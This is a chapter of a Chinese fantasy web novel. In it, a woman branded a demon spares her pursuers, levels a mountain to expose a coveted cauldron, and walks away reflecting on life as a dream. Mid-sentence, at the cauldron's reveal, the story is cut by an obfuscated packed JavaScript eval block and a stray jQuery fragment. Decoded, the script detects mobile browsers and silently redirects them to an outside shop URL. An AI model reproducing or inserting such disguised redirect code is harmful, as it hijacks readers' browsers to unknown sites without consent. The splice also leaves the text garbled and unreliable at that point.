“那我呢?”
晏斐问出那句话的时候,应珍已经走出了石门。
他的声音从身后传来,被晨风吹得断断续续。
“活着就好,好好活着。”
言尽于此,应珍的背影在晨光中模糊成一个点,然后消失了。
**
几日之后,就过了几日,关于“魔头应婙殊未亡”的消息便如长了翅膀一般传遍了整个道修界。
消息是说钟离宫重启之日,“魔头”应婙殊趁机潜入钟离宫,意图不轨,幸得宫主夫人风雅颂及时发现并击退。
虽然未能将此魔头当场格杀,但已将其重伤,短期内当不敢再犯。
至于钟离宫主——他被“魔头”重伤至昏迷,需要闭关个百八十年。
这消息传得有鼻子有眼,甚至有人言之凿凿地说自己亲眼看见应婙殊浑身是血地从钟离宫方向逃窜,身后跟着钟离宫五路追兵,一直追她至沧浪海附近才罢休。
起初应珍并不知道这些,她离开钟离宫后并未直接往沧浪海的方向走去,而是先去了胥屏前山脚下的一座小镇。
她需要一些时间,让自己子静一静,然后再回到那片废墟上去,一寸一寸地重建。
是魏衔青拿着传讯玉简找到了她,应珍先是皱了皱眉头,反问的话还没说出来,她便看到了最后一行写着:此女罪大恶极,钟离宫誓将其缉拿!
“多谢。”应珍拿上破云扇,将几两碎银扔给老板,转身就走。
她绕到镇子后面,沿着溪流往上走了一炷香的功夫,在一处密林深处停下来,靠着树干站了一会儿。
风从林间穿过,吹得她鬓角的碎发轻轻晃动,应珍闭上眼睛,深吸了一口气。
她知道风雅颂为什么这么做。钟离赋被禁锢在钟离鼎旁的八十年,钟离宫群龙无首,那些觊觎宫主之位的家臣们个个虎视眈眈。
风雅颂虽是宫主夫人,但终究是外姓人,要在那样一个庞大而古老的势力中站稳脚跟,必须有一个足够有说服力的理由。
而没有什么比“我在抵御外敌”更能凝聚人心树立威信的了。
“魔头应婙殊”就是这个敌人。
一个打不死的并且随时可能卷土重来的敌人,最能让人恐惧,也最能让人团结。
应珍睁开眼睛,低头看了看自己的双手。
掌心纹路清晰,指节分明,干干净净的,但这双手已经沾了太多血。
应珍想答应了宿珲,她会放过道修界的人。
尽管那是宿珲逼她做的承诺,尽管应珍已经记不清宿珲的模样了,但她记得宿珲说过的的话——“放过他们,也就是放过曾经的自己”。
所以当她在接下来的日子里一次又一次被围剿时,她都忍住了自己想杀人的冲动。
第一次是几个小门派的弟子,在沧浪海的海岸,彼时的应珍已经打算前往和光岛了。
他们大约二十余人,修为参差不齐,最高的也不过六境。
显然,他们是来试探的——想确认魔头是否真的还活着,想知道她的实力有没有受损,想抢在各大宗门之前捞一笔“擒杀魔头”的功劳。
应珍站在海岸边,看着那群人从远处御风而来,浩浩荡荡地落在沙滩上。
“眉心一点红痣,她就是魔头没错了!”为首的那个年轻人手持长剑,剑尖指着她,声音里带着一种虚张声势的凶狠,“你害了钟离少宫主,今日我们就要替天行道——”
他话没有说完,应珍就已经动了。
她没有用杀招,甚至没有用源力——只是身形一闪,一只手捏住了那人的剑尖,轻轻一折,长剑应声而断,断口整齐如刀切。
那人愣了一瞬,还没有反应过来,应珍已经一掌拍在他胸口,将他整个人拍飞出去,在沙滩上滚了七八圈,趴在那里再也起不来。
剩下的二十余人面面相觑,有人退了一步,有人攥紧了武器,但没有一个人敢冲上来。
“滚,告诉他们我本不欲与你们开战,”应珍说道,“别来招惹我,否则我不介意再现三年前的场景。”
那些人连滚带爬地走了。
但他们根本没有将应珍的话带回去,接下来的日子,消息越传越广,道修界之人来的也越来越多。
今天是一群散修,明天是一个小宗门,后天是三个宗门联袂而来。
们像涨潮时的海水,一波涌上来被拍退,退下去喘口气,下一波又涌上来,一浪高过一浪。
应珍疲于应付这一切,倒也不是打不过,以她如今的境界,便就算是石卫垣站在她面前,也不过是多费几扇子的事。
她疲的是克制,时时刻刻的、无休无止的克制,每一掌拍出去都要收着八成力,每一扇子扇出去都要避开要害。
就如同她写的那个蠢童话——“小白兔总被大灰狼抓住,但大灰狼总是把小白兔放生”。
她的右胸腔是空的,本就缺了一块,如今心力又耗在这些事上,便愈发觉得累。
有时候夜里在荒野中打坐调息,听着四野的风声和远处隐约的脚步声,她甚至会恍惚地想:杀了又如何呢?杀一个少一个,杀到他们怕了,便不会来了。
但每次这个念头冒出来,她便会想起宿珲,那个曾在沧浪海里将她救起来的人。
“放过他们,也就是放过曾经的自己”像魔咒一样在她的脑海里缭绕,时候她觉得自己像个傻子,道修界那些人把她当魔头来打,她偏偏要把自己活成一个圣人
半个月后,她离开了沧浪海岸,那些人已经发现了她的行踪规律,开始在沧浪海沿岸布下天罗地网。
应珍做了一个所有人能猜到,但不会去猜的决定,她又回到了胥屏山——所谓危险的地方就是最安全的地方。
但离开海岸,向内陆走时,那些人也一直跟着她,像一群甩不掉的苍蝇。
一个月后,一直甩掉了大部分的人,但各大宗门却开始动手了——含和宗、应天宗、玄霄阁、落霞坞、慕容山庄……
那些经熟悉的名字,此刻又都变成了悬在她头顶的刀。
就在几天之后,应珍便被堵在了胥屏后山。
三大宗门的主力,加上十余个中小宗门的精锐,总共千余人,将胥屏山围得水泄不通。
山中布满了阵法,连一只鸟都飞不出去。
带队的是应天宗某个的长老,一个曾和应珍有过几面之缘的中年男人,站在山腰的阵眼处,扬声喊话:“应婙殊,你逃不掉了。束手就擒,我们可以留你一命。”
应珍站在山顶,低头看着山下密密麻麻的人影。
月光落在那张脸上,她的表情很平静,像是看了一场太久的闹剧,终于决定把戏台子拆了。
“你们往后退一退。”应珍面无表情。
“魔头!你又要耍什么花招?”那个长老龇牙咧嘴地冲着她咆哮。
“我要留你们一命。”
应珍双手缓缓抬起,逆风凌空,落在胥屏后山的山巅。
源力从她的掌心涌出,决堤般毫无保留的的涌出,像是要把这几月和这些年所有的忍耐和压抑一次性倾泻出来。
她的周身亮起一层刺目的金色光芒,将整座山顶照得如同白昼,脚下的岩石开始龟裂,裂缝像蜘蛛网一样向四面八方蔓延。
山腰上,那个应天宗的长老还在喊话,声音被呼啸的风声切割得断断续续。
应珍没有听,她的双手落下,掌心朝下,按在山顶上——“轰”地一声巨响。
整座胥屏山的后山,从山顶到山脚,从岩石到泥土到草木到阵法到人,所有的一切都在那一瞬间被夷为平地。
那些阵法碎了,那些法器碎了,那些人的腿也碎了。
没有人死,应珍还记得自己的承诺,但所有人都趴在地上,看着那座被抹平了半边的山,看着月光下那个站在废墟中央的身影,看着她周身的金光慢慢散去,露出底下那张面无表情的脸。
安静。
彻底的安静,令人窒息的安静。
而就在那座被夷平的山体中央,露出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17644414|205924||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
了一个巨大的东西——钟离鼎,鼎前盘腿而坐的人正是“闭关道修”的钟离赋。
在场的所有人,除了应珍,都没有亲眼见过钟离鼎,他们只是听说过钟离鼎的名号,这鼎能炼造绝世法器。
而当真正看到它时,鼎身布满了古老的花纹,在月光下泛着沉沉的幽光。
那些花纹像是在呼吸一样,明灭不定,散发着让人心颤的气息。
钟离鼎,他们确信这就是钟离鼎。
所有人的目光都变了,从“擒杀魔头”,到“那是什么”,最终变成了“若我能得到它”。
应珍看着那些人贪婪的眼神,看着他们从地上爬起来,一瘸一拐地走向那座露出来的青铜鼎,忽然觉得——很好。
终于,终于有人替她接住了那些目光。
这是她送给风雅颂的礼物,以回馈她对她做的那些事。
应珍转过身,向另一个方向走去。
身后,那些人已经顾不上追她了。
钟离鼎的光芒越来越盛,这是一块突然出现在饿狼群中的肥肉,把所有贪婪的眼睛都吸引了过去。
风从北面来,灌进她空荡荡的右胸腔,凉意像一根细针,从那个空洞的内部刺出来,扎进她的四肢百骸。
但奇怪的是,她竟觉得这凉意让她清醒。
走出一段路后,她听见身后传来一声惊呼。
然后是第二声、第三声,随即是嘈杂的议论声和争论声,有人拔高了嗓门在喊“这是我宗先发现的”,另一人立刻顶回去“放屁,你们宗连这鼎的名号都是头回听说”。
声音越来越急,越来越尖锐,最后竟隐约夹杂了兵刃出鞘的声响。
应珍没有理会,她只是继续走,走过荒原,走过石岭,走过一片又一片被月光照成银白色的沙地。
不知走了多久,当她终于停下来时,四周已经没有人声了,她找了块平整些的石头坐下来。
夜很深了,北界的星空比道修界的低,仿佛一伸手便能摘下一颗。
应珍仰起头看着那些星子,忽然想起许多年前,她还在含和宗的时候,也曾和石蕴玉一起在毓秀灵山上看星星。
那时候石蕴玉指着天上一颗最亮的星说:“师姐,那颗是不是叫破军”。
但她记错了名字,把破军和贪狼搞混了,应珍便一本正经地纠正她:“那叫贪狼,主杀伐。“
“那还是不看它了,”石蕴玉听了缩了缩脖子,往边上挪了挪,指着另一颗说,“那这颗呢”
“这是天璇,主安宁。”
“那以后我们每天晚上都来看天璇。”
那些日子过去多久了?
应珍算了算,忽然发现算不清楚了,时间在她身上留下的刻度太浅了。
孩童时期的事情,她上个月才初次经历;八十一天缩短成了一天,又被拉长成了一年;那些追杀,那些围剿,三年前的事情又在昨日上演。
那些爱过的恨过的惦念过的放不下的人和事,好像都被她留在了身后那座露出的钟离鼎旁边。
那些人去抢鼎了,于是她得以脱身;她脱了身,却也脱了那些牵绊。
一树槐花落,一枕槐安梦。
静淑的六年是一场梦,应婙殊的十余年是一场梦,甚至应珍的这三年也是一场梦。
应珍轻轻笑了。
那她呢?她的南柯郡在哪里?
是长乐殿吗?是漱玉殿吗?是和光岛吗?
是那颗被送出去的玲珑心吗?
还是那个她写的蠢童话?那只永远在放生小白兔的大灰狼?
她不知道。
但她突然觉得,是不是梦都无所谓了。
因为梦里的喜怒哀乐都是真的,痛是真的,笑是真的,那颗心被剖出来的时候那种撕扯的钝痛也是真的。
梦醒了,那些痛还在,那个空洞还在,那些人梦里的人也都继续活着。
一树槐花落,一枕槐安梦。
似梦,不是梦。
——第二卷完——